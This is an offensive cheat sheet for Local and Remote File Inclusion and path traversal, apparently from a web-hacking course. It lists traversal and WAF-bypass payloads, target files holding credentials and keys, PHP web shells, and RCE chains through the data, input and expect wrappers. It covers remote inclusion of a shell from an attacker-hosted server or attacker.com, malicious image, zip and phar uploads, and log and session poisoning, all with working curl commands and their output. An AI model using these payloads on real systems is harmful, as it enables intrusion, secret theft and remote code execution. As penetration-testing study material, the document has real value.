File Inclusion LFI / RFI
Local File Inclusion (LFI), Remote File Inclusion (RFI) and Path Traversal
PHP
If the path
passed to the include()
is taken from a user-controlled parameter, like a GET
parameter, and the code does not explicitly filter and sanitize the user input
, then the code becomes vulnerable to File Inclusion
if (isset($_GET['language'])) {
include($_GET['language']);
}
PHP functions that would lead to the same vulnerability if we had control over the path passed into them: include_once()
, require()
, require_once()
, file_get_contents()
NodeJS
readfile():
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
render() in Express.js:
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
Java
include
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
import
<c:import url= "<%= request.getParameter('language') %>"/>
.NET
Response.WriteFile
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
@Html.Partial()
@Html.Partial(HttpContext.Request.Query['language'])
include
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
Read vs Execute
Function
Read Content
Execute
Remote URL
PHP
include()
/include_once()
✅
✅
✅
require()
/require_once()
✅
✅
❌
file_get_contents()
✅
❌
✅
fopen()
/file()
✅
❌
❌
NodeJS
fs.readFile()
✅
❌
❌
fs.sendFile()
✅
❌
❌
res.render()
✅
✅
❌
Java
include
✅
❌
❌
import
✅
✅
✅
.NET
@Html.Partial()
✅
❌
❌
@Html.RemotePartial()
✅
❌
✅
Response.WriteFile()
✅
❌
❌
include
✅
✅
✅
Burp Extension
One Liner
$ waymore -i urls | tee urls-his
$ cat urls-his | gf lfi | urless|anew lfi
$ python3 http://lfimap.py -F lfi --use-long -a --no-stop
Path traversal vs LFI vs RFI
The main distinction lies in what the application does with the file once accessed. With path traversal, you can navigate directories and read files that should be out of reach. Arbitrary file read goes a step further by allowing you to read any file, regardless of its path.
But in some cases, the application doesn’t just read the file – it also includes and evaluates it. That’s how Local local File file Inclusion inclusion (LFI) comes into play.
Remote file inclusion (RFI) is similar to LFI but fetches the file from an external URL.
?page=http://attacker.com/shell.txt
Local File Inclusion (LFI)
Detection - Error Message
Warning: main(pages/$page): failed to open stream: No such file or directory in /home/enigmagroup/public_html/challenges/basics/vm/1/index.php on line 14

Basic LFI
include($_GET['language']);
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd
/etc/passwd is forbidden - Try !/etc!/passwd
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
WAF Bypass
/././etc/passwd
/..%2fetc/passwd
/etc/./passwd
Path Traversal
include("./languages/" . $_GET['language']);
../index.php
../../../../etc/passwd
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
http://XXX.org/basics/vm/1/index.php?page=../admin/.htpasswd
Other example:
GET /?file=report.pdf
GET /?file=../../../etc/passwd
Common vulnerable patterns include:
File download or export endpoints: /download?file=report.csv → file=../../../etc/passwd
Log viewers or debuggers: /view-log?path=latest.log
Template preview features: /preview?template=invoice.html
Internal file fetchers or backup tools: /api/fetch?name=backup.tar.gz
With Curl
--path-as-is
curl http://127.0.0.1:1234/../../../../../etc/passwd --path-as-is
Fuzzing
FuzzingPayloads
ffuf-u https://target.com/download?file=FUZZ -w path-wordlist.txt -fc 403
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
. = %u002e
/ = %u2215
\ = %u2216
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
..././
...\.\
..;/
..;/..;/sensitive.txt
. = %252e
/ = %252f
\ = %255c
file:///etc/passwd
http://127.0.0.1:8080
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
../../../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../etc/passwd%00.gif
/??c/?as?wd
!/etc!/passwd
NGINX Alias Path Traversal
Burp extension
NginxValue files to target
Unix/Linux
/etc/passwd – Proof of read
/etc/shadow – Credential hashes
/proc/self/environ – Environment variables (look for AWS keys, tokens, debug flags)
.env, config.json, settings.py, config.yaml – Secrets (DB creds, API keys, cloud access)
/var/run/secrets/kubernetes.io/serviceaccount/token – Kubernetes service account token
.bash_history, .git/config – operational commands and repo info
Windows
C:\Windows\win.ini – Classic PoC
C:\Users\Administrator\NTUser.dat – user data and registry hives
C:\inetpub\wwwroot\web.config – IIS credentials and app secrets
%APPDATA%\Microsoft\Credentials\ – Windows stored credentials
Web-specific and deployment-related
.git/config, .svn/entries – source control metadata
composer.lock, package-lock.json, yarn.lock – dependency info (may expose vulnerable packages)
docker-compose.yml, terraform.tfvars, cloudbuild.yaml – infrastructure-as-code secrets
Log files (access.log, error.log, etc.) – session tokens, JWTs, IPs, headers
credentials.json, secrets.json, .npmrc, .pypirc – API tokens, cloud creds
aws/credentials, ~/.aws/config – AWS IAM keys
.kube/config – Kubernetes cluster access
.npmrc, .gem/credentials, .docker/config.json – Package registry or container access tokens
AWS Environment
Look for /home/username/.aws/credentials

Filename Prefix
include("lang_" . $_GET['language']);
prefix a /
before our payload, and this should consider the prefix as a directory
http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd
Note: This may not always work, as in this example a directory named lang_/
may not exist, so our relative path may not be correct. Furthermore, any prefix appended to our input may break some file inclusion techniques
we will discuss in upcoming sections, like using PHP wrappers and filters or RFI.
Appended Extensions
include($_GET['language'] . ".php");
See Basic Bypass - Appended Extension
Second-Order Attacks
For example, a web application may allow us to download our avatar through a URL like (/profile/$username/avatar.png
). If we craft a malicious LFI username (e.g. ../../../etc/passwd
), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.
Django, Rails, or Node.js Web Application Header Values
Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{
Windows LFI
Payload List
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
WAF Basic Bypasses
/etc/passwd is forbidden - Try !/etc!/passwd
If the WAF blocks you from reading /etc/passwd directly, you can use ?
to bypass it.
curl http://vulnerable-web.io/read.php?filename=/etc/passwd -i
HTTP/1.1 403 Forbidden
[...]
curl http://vulnerable-web.io/read.php?filename=/??c/?as?wd -i
HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
Non-Recursive Path Traversal Filters
$language = str_replace('../', '', $_GET['language']);
....//
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
Other bypass:
..././
escaping the forward slash character:
....\/
adding extra forward slashes:
....////
Encoding
Core PHP filters on versions 5.3.4 and earlier were specifically vulnerable to this bypass, but even on newer versions we may find custom filters that may be bypassed through URL encoding
Encode ../
into %2e%2e%2f

<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded
string, which may also bypass other types of filters.
%252e%252e%252f
Various non-standard encodings, such as ..%c0%af
or ..%ef%bc%8f
, may also work.
You may refer to the Command Injections module for more about bypassing various blacklisted characters, as the same techniques may be used with LFI as well.
Command InjectionApproved Paths
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
To find the approved path, we can examine the requests sent by the existing forms, and see what path they use for the normal web functionality. Furthermore, we can fuzz web directories under the same path, and try different ones until we get a match. To bypass this, we may use path traversal and start our payload with the approved path
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
http://URL/index.php?language=languages/..././..././..././..././flag.txt
filename=/var/www/images/../../../etc/passwd
Appended Extension
With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful, as we will see in the next section (e.g. for reading source code).
There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4
.
Path Truncation
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated
, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.
) then the /.
would also be truncated, and PHP would call (/etc/passwd
). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd
is the same as /etc/passwd
). Similarly, a current directory shortcut (.
) in the middle of the path would also be disregarded (e.g. /etc/./passwd
).
It is also important to note that we would also need to start the path with a non-existing directory
for this technique to work.
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
Null Bytes
An application may require the user-supplied filename to end with an expected file extension, such as .png
.
Adding a null byte (%00
) at the end of the string would terminate the string and not consider anything after it.
/etc/passwd%00
=> /etc/passwd%00.php
filename=../../../etc/passwd%00.png
PHP Filters
Input Filters
php://filter/
The filter that is useful for LFI attacks is the convert.base64-encode
filter
Fuzzing for PHP Files
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
Start by reading index.php
and scanning it for more references and so on, but fuzzing for PHP files may reveal some files that may not otherwise be found that way.
Source Code Disclosure
php://filter/read=convert.base64-encode/resource=config
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
Error-based oracle - Dump File
PHP Wrappers
Data
The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include
) setting is enabled in the PHP configurations.
PHP Configurations
/etc/php/X.Y/apache2/php.ini
for Apache /etc/php/X.Y/fpm/php.ini
) for Nginx
where X.Y
is your install PHP version
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
Remote Code Execution
echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
We can URL encode the base64 string, and then pass it to the data wrapper with data://text/plain;base64
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Input
We pass our input to the input
wrapper as a POST request's data. . So, the vulnerable parameter must accept POST requests for this attack to work
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Expect
Don't need to provide a web shell, as it is designed to execute commands.
Determine whether Expect is installed on the back-end server - See PHP Configurations
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
Use expect://
wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
expect
module also use for XXE vulnerabilities
Cookie Based PHP LFI
Remote File Inclusion (RFI)
"Remote File Inclusion (RFI)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
Enumerating local-only ports and web applications (i.e. SSRF)
Gaining remote code execution by including a malicious script that we host
The Server-side Attacks module (Bug Bounty Hunter Path) covers various SSRF
techniques, which may also be used with RFI vulnerabilities.
LFI may not necessarily be an RFI - See Read vs. Execute
Verify RFI
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
A more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL
, and see if we can get its content
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
Remote Code Execution with RFI
We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell
Web Shellecho '<?php system($_GET["cmd"]); ?>' > shell.php
It is a good idea to listen on a common HTTP port like 80
or 443
, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service
HTTP
sudo python3 -m http.server <LISTENING_PORT>
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
FTP
sudo python -m pyftpdlib -p 21
[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
If the server requires valid authentication, then the credentials can be specified in the URL, as follows:
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
SMB
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include
setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion.
impacket-smbserver -smb2support share $(pwd)
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
LFI and File Uploads
File Upload AttacksCrafting Malicious Image
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
We need to know the path to our uploaded file - Source code analysis
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
Zip Upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
Phar Upload
shell.php:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Compiled into a phar file:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
LFI2RCE via phpinfo()
LFI/uploads which occurs if file uploads is enabled in the PHP configurations and the phpinfo()
page is somehow exposed to us
Log Poisoning
For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.
PHP Session Poisoning
/var/lib/php/sessions/
on Linux and in C:\Windows\Temp\
on Windows
If the PHPSESSID
cookie is set to el4ukv0kqbvoirg7nkp4dncpk3
, then its location on disk would be /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
Use the cookie value you find in your own session
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
Include the session file once again
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

Writing PHP code to the session file
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Include the session file and use the &cmd=id
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
Server Log Poisoning
Apache
logs are located in /var/log/apache2/
on Linux and in C:\xampp\apache\logs\
on Windows, while Nginx
logs are located in /var/log/nginx/
on Linux and in C:\nginx\log\
on Windows
The logs may be in a different location in some cases => Fuzz
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
User-Agent
header is controlled by us through the HTTP request headers, so we should be able to poison this value.


or with Curl
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
We can specify a command to be executed with (?cmd=id
)
index.php?log=../../../../../../../../../../../..//var/log/nginx/access.log&cmd=id

Service logs we may be able to read:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Automated Scanning
Fuzzing parameters
FuzzingFuzz for exposed parameters
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
LFI wordlists
Start with LFI-Jhaddix.txt: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
Fuzzing Server Files
Server Webroot
Linux:
Windows
Depending on our LFI situation, we may need to add a few back directories (e.g. ../../../../
), and then add our index.php
afterwords.
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
Also try LFI-Jhaddix.txt
Server Logs/Configurations
Start with LFI-Jhaddix.txt
More payload:
Linux
Windows
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
...SNIP...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...
We do get the default webroot path and the log path. However, in this case, the log path is using a global apache variable (APACHE_LOG_DIR
), which are found in another file we saw above, which is (/etc/apache2/envvars
)
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars
...SNIP...
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
...SNIP...
The (APACHE_LOG_DIR
) variable is set to (/var/log/apache2
), and the previous configuration told us that the log files are /access.log
and /error.log
Tools

dotdotpwn -m http-url -h "example.com/index.php?p=TRAVERSAL" -f "/pages/home" -k "Scan"

Resources
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Last updated